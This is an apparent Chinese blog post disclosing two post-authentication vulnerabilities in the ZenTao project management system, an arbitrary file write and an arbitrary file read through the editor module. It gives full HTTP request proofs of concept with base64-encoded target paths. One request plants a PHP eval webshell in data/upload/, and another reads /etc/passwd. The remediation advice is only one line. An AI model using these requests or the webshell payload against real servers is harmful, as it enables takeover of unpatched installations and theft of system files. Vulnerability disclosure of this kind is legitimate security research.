禅道linux一键安装漏洞,禅道漏洞第二弹后台读写任意文件/getshell

漏洞1: 任意文件写入漏洞 自评风险:严重

问题出在这里

imgpxy.php?url=gpj.984985003241214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

这里新建方法的时候,其实会写到限定目录的,限定后是无法访问的所以这里,即使成功写也无法利用。不过,我们能跳出它的限制

老规矩,看poc

POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1

Host: 172.16.0.128:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=edit&filePath=L3Zhci93d3cvemQvbW9kdWxlL2luc3RhbGwvZXh0L2NvbnRyb2wvaW5mby5waHA=&action=newPage&isExtends=

Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

fileContent=<?php @eval($_POST['test']);?>

filePath 的值其实是目标文件的base64的编码值,所以,这里只要修改下就可以搞定了,当然,你得找个既能写入又能访问的目录,明显,data/upload/就是我们要的

imgpxy.php?url=gpj.129495003241214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gpj.050400103241214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

直接拿到后门了。是不是很简单,别问我怎么得到物理路径的,随便到处都是,编辑的地方都有。

漏洞2:读文件 自评风险:高危

这个其实根据上面那个发现方法一样,利用方法也一样,只是这次换成读任意文件。

看poc:

imgpxy.php?url=gpj.264620103241214102%2F2141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1

Host: 172.16.0.128:81

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.16.0.128:81/zd/www/index.php?m=editor&f=extend&moduleDir=install

Cookie: lang=zh-cn; theme=default; windowWidth=700; windowHeight=612; keepLogin=on; za=admin; zp=478204cc9b8ad76200072d66a6183562dfb90781; sid=onfa3enukp3ib1burp2hvrobe6

Connection: keep-alive

L2V0Yy9wYXNzd2Q= 这个就是/etc/passwd的base64的值了漏洞证明:

一直觉得这个证明的框有些多余,每个漏洞说明的时候其实就加上证明了。

个人测试了5.2 ,5.3 ,6.2 三个版本,都存在这个问题。只要你有后台权限,肯定拿shell的。

其中,url换成伪静态的时候远离也一样,那一长串就是目标文件的url的base64,记住这个就好了。修复方案:

老生常谈了,限制限制还是限制,不能想读那个就读那个,想写那个就写那个啊,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值